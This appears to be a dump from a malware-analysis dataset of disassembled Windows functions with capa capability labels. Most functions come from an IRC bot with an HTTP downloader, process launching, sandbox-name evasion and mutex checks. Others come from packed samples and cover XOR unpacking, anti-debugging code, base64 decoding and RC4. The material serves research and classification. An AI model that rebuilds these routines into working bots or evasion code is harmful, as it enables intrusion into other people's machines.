joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x404200
push dword [ebp + 0xc]
xor eax, eax
xor edi, edi
mov word [ebp - 4], ax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x401029
push 0xfffffffffffffff8
pop eax
jmp 0x401065
push ebx
jmp 0x401043
push 1
lea eax, [ebp - 4]
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov byte [ebp - 4], 0
add edi, ebx
push 0
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
push esi
test ebx, ebx
jg 0x40102c
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x401069
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push str.Mozilla_5.0
push esi
push eax
push str.GET___s_HTTP_1.1_r_nHost:__s_r_nUser_Agent:__s_r_nKeep_Alive:_300_r_nConnection:_keep_alive_r_n_r_n
lea eax, [ebp - 0x204]
push 0x1ff
push eax
call fcn.0040156f
push esi
call fcn.00402d90
add esp, 0x1c
test eax, eax
jne 0x4010b9
push 0xfffffffffffffffc
pop eax
jmp 0x40114f
push edi
push 2
pop esi
push 0x50
mov dword [ebp - 0x210], eax
mov word [ebp - 0x214], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x212], ax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4010ef
push 0xfffffffffffffffb
jmp 0x401106
push 0x10
lea eax, [ebp - 0x214]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401109
push 0xfffffffffffffffa
pop eax
jmp 0x40114e
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401112
push 0
sub ecx, edx
lea eax, [ebp - 0x204]
push ecx
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
push str.C:_a.zip
push 3
push ebx
call fcn.0040156f
push ebx
push edi
call fcn.00401228
add esp, 0x14
mov esi, eax
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, esi
pop edi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040317f
leave
ret
Function at 0x401228
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push esi
push 0
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
jmp 0x40128e
lea eax, [ebp - 0x404]
push str._r_n_r_n
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x4012a3
cmp esi, 0x400
je 0x401292
push eax
push 1
lea eax, [ebp - 0x404]
add eax, esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_recv]
add esi, eax
test esi, esi
jg 0x401258
push 0xfffffffffffffff9
pop eax
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.0040317f
leave
ret
push ebx
push dword [ebp + 8]
call section..text
pop ecx
pop ecx
jmp 0x401295

Function at 0x4012b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 0x44
pop esi
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x54]
xor edi, edi
push edi
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x48], 0x404283
xor eax, eax
mov dword [ebp - 0x54], esi
mov word [ebp - 0x24], ax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 1
push eax
lea eax, [ebp - 0x54]
push eax
push edi
push edi
push 0x28
push edi
push edi
push edi
push dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401322
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
xor eax, eax
cmp dword [ebp + 0xc], 2
sete al
inc eax
pop edi
pop esi
leave
ret

Function at 0x4016d4
Capabilities:
Get socket status

Disassembly:
push ebp
lea ebp, [esp - 0x90]
sub esp, 0x110
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x8c], eax
mov eax, dword [0x406120]
lea ecx, [ebp - 0x80]
push ecx
xor edx, edx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x98]
lea ecx, [ebp - 0x78]
push edx
push edx
push ecx
push eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 1
call dword [sym.imp.WS2_32.dll_select]
mov ecx, dword [ebp + 0x8c]
xor ecx, ebp
call fcn.0040317f
add ebp, 0x90
leave
ret
Function at 0x401732
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
call fcn.00402d90
pop ecx
test eax, eax
jne 0x401755
or eax, 0xffffffff
jmp 0x40179d
push esi
push 2
pop esi
push dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov word [ebp - 0x14], si
call dword [sym.imp.WS2_32.dll_htons]
push 6
push 1
push esi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401784
push 0xfffffffffffffffe
pop eax
jmp 0x40179c
push 0x10
lea eax, [ebp - 0x14]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push 0xfffffffffffffffd
cmp eax, 0xffffffff
pop ecx
cmove esi, ecx
mov eax, esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040317f
leave
ret

Function at 0x401804
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x804
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x800], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x814]
push edi
test esi, esi
je 0x4018b4
mov ebp, 0x800
push ebp
xor edi, edi
lea eax, [esp + 0x14]
push edi
push eax
call sub.VCRUNTIME140.dll_memset
push esi
call fcn.004016d4
mov ebx, eax
add esp, 0x10
test ebx, ebx
jle 0x4018b0
cmp edi, 0x7ff
je 0x40188a
push 0
push 1
lea eax, [esp + 0x18]
add eax, edi
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x4018ac
add edi, eax
mov al, byte [esp + edi + 0xf]
cmp al, 0xd
je 0x401886
cmp al, 0xa
je 0x401886
push esi
call fcn.004016d4
mov ebx, eax
pop ecx
test ebx, ebx
jg 0x40184d
test ebx, ebx
jle 0x4018b0
cmp edi, 2
jl 0x401830
dec edi
cmp edi, ebp
jae 0x4018cf
lea eax, [esp + 0x10]
mov byte [esp + edi + 0x10], 0
push eax
push esi
call fcn.00401940
pop ecx
pop ecx
test eax, eax
jns 0x401830
jmp 0x4018b6
xor eax, eax
jmp 0x4018b6
mov eax, ebx
jmp 0x4018b6
mov eax, esi
mov ecx, dword [esp + 0x810]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040317f
add esp, 0x804
ret
call fcn.004032af
int3

Function at 0x4018d5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
xor esi, esi
cmp byte [eax], 0
je 0x4018f6
push esi
push eax
push esi
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x10]
push 1
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push dword [ebp + 0x14]
push 2
push dword [ebp + 8]
call fcn.00401f7b
add esp, 0x10
cmp eax, 0xffffffff
je 0x40193a
push esi
push esi
lea ecx, [ebp + 8]
push ecx
push 0x402783
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor eax, eax
inc eax
jmp 0x40193d
or eax, 0xffffffff
pop esi
pop ebp
ret
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0040317f
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402e07
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.0040317f
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.0040317f
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022a5
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x404283]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402d90
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402db5
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402dae
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402e1e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402e55
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402e5d
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x403afe
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403b3d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403b3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403b3d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403b3d
cmp dword [ecx + 0x74], 0xe
jbe 0x403b3d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x55e3ff
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0549b3c
jmp 0x55e396
lea esp, [esp + 2]
mov dword [esp + 0x5c], esi
push edi
jmp 0x55e35f
pop word [esp]
mov byte [esp], bh
lea esp, [esp + 2]
mov dword [esp + 0x58], edi
lea esp, [esp + 0x58]
jmp 0x55e3b6
mov byte [esp + 4], al
jmp 0x55e350
mov ax, word [esp]
sete bl
jmp 0x55e39f
bswap esi
bts esi, esi
jo 0x55e380
jno 0x55e3d2
mov ebp, dword [esp + 0x2c]
mov esi, 0xd2e1a368
mov bx, word [esp]
jmp 0x55e3bc
pushfd
jmp 0x55c6de
lea edx, [ebp*4]
sub esp, 0x1b
jg 0x55e3db
lea esp, [esp + 3]
jmp 0x55e3df
mov ax, word [esp]
sete bl
jmp 0x55e39f
lea esp, [esp + 3]
jmp 0x55e420
jmp 0x55e45a
dec ah
mov ecx, ebp
lea eax, [esp - 0xee]
lea eax, [esi*4]
jmp 0x55e46a
push word [esp + 3]
ja 0x55e37a
mov byte [esp + 4], al
lea esp, [esp + 2]
mov dword [esp + 0x5c], esi
push edi
pop word [esp]
jmp 0x55e363
lea edi, [esp + 0x18]
xchg al, ah
cpuid
add dx, 0xd52f
jnp 0x55e3e1
jp 0x55e3e1
movsd dword es:[edi], dword [esi]
xor dword [ecx - reloc.KERNEL32.dll_HeapFree], esp
mov bl, 0xaa
push eax
mov dword [esp + 0x5c], ebp
call fcn.0055e3ff
jbe 0x55e3e3
dec ah
jmp 0x55e3e5
sub esp, 0xa8
mov esi, esp
mov edx, ebx
mov cl, 0x6b
rol ecx, cl
jmp 0x55e444
push esp
mov ax, 0x7d8
mov bl, byte [esp]
mov dx, 0x172a
lea edx, [edx + esi]
mov bh, 0x76
jmp 0x55e48b
mov bh, dh
cmc
jmp 0x55e564
rdtsc
cmp bl, 0x69
jmp 0x55e4e3
bswap eax
bswap eax
jmp 0x55e4b7
rol ebp, 0
js 0x55e49b
bswap eax
bswap eax
bsf ebx, eax
sub esp, 0xf
lea ebx, [ecx*4]
jmp 0x55e4ca
jg 0x55e494
rdtsc
cmp bl, 0x69
jmp 0x55e499

Function at 0x55e643
Capabilities:
Execute anti-debugging instructions

Disassembly:
call 0x55e484
bsf ebx, eax
sub esp, 0xf
lea ebx, [ecx*4]
jmp 0x55e4ca
lea esp, [esp + 3]
jmp 0x55e511
call fcn.0055e537
pushal
std
insd dword es:[edi], dx
hlt
ror ebp, 0
dec ebx
ja 0x55e4fb
jbe 0x55e4fb
call fcn.0055e5b5
lea esp, [esp + 0x10]
xor ebp, 0x11e315d3
mov dh, ch
bsf ax, di
jmp 0x55e5f4
neg al
sub esp, 0xe
rol bh, cl
lea edx, [esi + ebp]
mov ax, di
neg al
jmp 0x55e614
jno 0x55e54d
neg al
sub esp, 0xe
jmp 0x55e62a
xchg dl, al
lea esp, [esp + 2]
jmp 0x55e637
rol bh, cl
lea edx, [esi + ebp]
mov ax, di
jmp 0x55e55a
lea esp, [esp + 0xc]
not ebp
call 0x55e643
into
push dword [esp + 1]
je 0x55e709
jne 0x55e67d
pop edi
invalid
pop dword [esp + 5]
rdtsc
jmp 0x55e717
push edi
sub esp, 0x13
mov dword [esp + 6], edi
jmp 0x55e667
xchg word [esp + 1], dx
jmp fcn.0055e6b3
pushfd
rol edx, cl
jl 0x55e687
xchg word [esp + 1], dx
jmp fcn.0055e6b3
lea esp, [esp + 0x18]
neg ebp
rdtsc
lea ebx, [ecx*4]
add ebp, dword [edi]
jmp 0x55e6a3
push edi
sub esp, 0x13
mov dword [esp + 6], edi
pop dword [esp + 5]
rdtsc
bsf ax, cx
lea esp, [esp + 3]
jmp 0x55e6dc
Function at 0x401b17
Capabilities:
Decode data using base64 via dword translation table

Disassembly:
sub esp, 0x30
mov eax, dword [esp + 0x34]
push ebx
push ebp
push esi
mov esi, dword [eax]
mov ebx, edx
mov dword [esp + 0x1c], ebx
mov ebp, ecx
mov dword [esp + 0x20], ebp
push edi
test esi, esi
jne 0x401b43
push 0x41b54e
call fcn.004021ed
jmp 0x401c7d
mov eax, esi
xor edi, edi
and eax, 3
jne 0x401b5b
cmp byte [esi + ebx - 1], 0x3d
je 0x401b5b
mov ecx, edi
mov dword [esp + 0x44], ecx
jmp 0x401b6e
xor ecx, ecx
inc ecx
mov dword [esp + 0x44], ecx
cmp eax, 2
ja 0x401b76
cmp byte [esi + ebx - 2], 0x3d
jne 0x401b76
mov edx, edi
mov dword [esp + 0x18], edx
jmp 0x401b7c
mov edx, ecx
mov dword [esp + 0x18], ecx
sub esi, ecx
and esi, 0xfffffffc
mov eax, esi
shr eax, 2
imul eax, eax, 3
push edi
add eax, edx
add eax, ecx
lea ecx, [esp + 0x2c]
push eax
call fcn.004021c9
push edi
lea ecx, [esp + 0x2c]
call fcn.00402179
mov dword [esp + 0x14], eax
test esi, esi
je 0x401c16
mov ebp, dword [esp + 0x14]
lea edx, [esi - 1]
lea eax, [ebx + 1]
shr edx, 2
inc edx
mov ebx, eax
movzx eax, byte [ebx - 1]
mov ecx, dword [eax*4 + 0x41b730]
movzx eax, byte [ebx]
lea ebx, [ebx + 4]
shl ecx, 6
or ecx, dword [eax*4 + 0x41b730]
movzx eax, byte [ebx - 3]
shl ecx, 6
or ecx, dword [eax*4 + 0x41b730]
movzx eax, byte [ebx - 2]
shl ecx, 6
or ecx, dword [eax*4 + 0x41b730]
mov eax, ecx
sar eax, 0x10
mov byte [edi + ebp], al
mov eax, ecx
sar eax, 8
mov byte [edi + ebp + 1], al
mov byte [edi + ebp + 2], cl
add edi, 3
sub edx, 1
jne 0x401bba
mov ebx, dword [esp + 0x20]
mov ebp, dword [esp + 0x24]
cmp dword [esp + 0x44], 0
je 0x401c68
movzx eax, byte [esi + ebx]
movzx ecx, byte [esi + ebx + 1]
mov edx, dword [eax*4 + 0x41b730]
shl edx, 6
or edx, dword [ecx*4 + 0x41b730]
mov ecx, dword [esp + 0x14]
shl edx, 0xc
mov eax, edx
sar eax, 0x10
cmp dword [esp + 0x18], 0
mov byte [ecx + edi], al
je 0x401c68
movzx eax, byte [esi + ebx + 2]
sar edx, 8
mov eax, dword [eax*4 + 0x41b730]
shl eax, 6
sar eax, 8
or al, dl
mov byte [ecx + edi + 1], al
lea eax, [esp + 0x28]
mov ecx, ebp
push eax
call fcn.0040218c
lea ecx, [esp + 0x28]
call fcn.0040192a
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x30
ret

Function at 0x401ccf
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov ebx, ecx
lea ecx, [esp + 0xc]
push edi
call fcn.00401c87
xor ebp, ebp
lea ecx, [esp + 0x10]
push ebp
call fcn.00401915
push eax
mov ecx, ebx
call fcn.004021c9
lea ecx, [esp + 0x10]
call fcn.00401915
test eax, eax
je 0x401d47
mov ecx, dword [esp + 0x2c]
call fcn.00401915
mov ecx, eax
xor edx, edx
mov eax, ebp
div ecx
mov ecx, dword [esp + 0x2c]
push edx
call fcn.00402179
push ebp
lea ecx, [esp + 0x14]
mov edi, eax
call fcn.00402179
push ebp
mov ecx, ebx
mov esi, eax
call fcn.00402179
mov cl, byte [edi]
xor cl, byte [esi]
inc ebp
mov byte [eax], cl
lea ecx, [esp + 0x10]
call fcn.00401915
cmp ebp, eax
jb 0x401d02
lea ecx, [esp + 0x10]
call fcn.0040192a
pop edi
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x18
ret
Function at 0x4020c9
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
xor esi, esi
mov dword [esp + 0x10], ecx
push edi
mov eax, esi
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x4020db
mov ebp, esi
mov edi, esi
mov esi, edx
xor edx, edx
mov bl, byte [esp + edi + 0x18]
mov eax, edi
div esi
movsx eax, byte [edx + ecx]
add eax, ebp
movzx ecx, bl
add ecx, eax
movzx ebp, cl
mov ecx, dword [esp + 0x14]
mov al, byte [esp + ebp + 0x18]
mov byte [esp + edi + 0x18], al
inc edi
mov byte [esp + ebp + 0x18], bl
cmp edi, 0x100
jb 0x4020ed
xor esi, esi
mov ebx, esi
mov edi, esi
cmp dword [esp + 0x120], ebx
jbe 0x40216e
mov ebp, dword [esp + 0x11c]
lea eax, [ebx + 1]
movzx ebx, al
mov cl, byte [esp + ebx + 0x18]
movzx edx, cl
lea eax, [edx + esi]
movzx esi, al
mov al, byte [esp + esi + 0x18]
mov byte [esp + ebx + 0x18], al
mov byte [esp + esi + 0x18], cl
movzx eax, byte [esp + ebx + 0x18]
add eax, edx
movzx eax, al
mov al, byte [esp + eax + 0x18]
xor byte [edi + ebp], al
inc edi
cmp edi, dword [esp + 0x120]
jb 0x402134
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x401fb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp byte [esi], 0
jne 0x401fe2
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.00401e30
add esp, 0x14
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 8]
lea eax, [edx + eax*4]
push eax
call fcn.00403f30
pop ecx
mov edi, eax
test edi, edi
je 0x402037
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
lea eax, [edi + eax*4]
push eax
push edi
push esi
call fcn.00401e30
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x409efc], eax
mov dword [0x409ef8], edi
jmp 0x40203f
push 0xfffffffffffffffc
call fcn.00402110
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x402050
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 4], eax
test eax, eax
jne 0x40206e
mov eax, dword [0x409508]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esi, eax
xor eax, eax
jmp 0x40208d
or edx, 0xffffffff
inc edx
cmp byte [esi + edx], 0
jne 0x40207a
lea edi, [edx + 1]
cmp byte [esi], 0x3d
je 0x40208b
add eax, edi
add esi, edi
cmp byte [esi], 0
jne 0x402077
inc eax
push eax
call fcn.00403f30
pop ecx
mov ebx, eax
mov dword [0x409f00], eax
cmp dword [0x409f00], 0
je 0x4020f7
mov eax, dword [ebp - 4]
mov esi, eax
jmp 0x4020d9
or eax, 0xffffffff
inc eax
cmp byte [esi + eax], 0
jne 0x4020b4
lea edi, [eax + 1]
cmp byte [esi], 0x3d
je 0x4020d7
mov ecx, ebx
mov edx, esi
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
inc edx
test al, al
jne 0x4020ca
pop eax
add ebx, edi
add esi, edi
cmp byte [esi], 0
jne 0x4020b1
mov byte [ebx], 0
mov eax, dword [ebp - 4]
cmp eax, dword [0x409508]
je 0x4020ff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x4020ff
push 0xfffffffffffffffc
call fcn.00402110
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret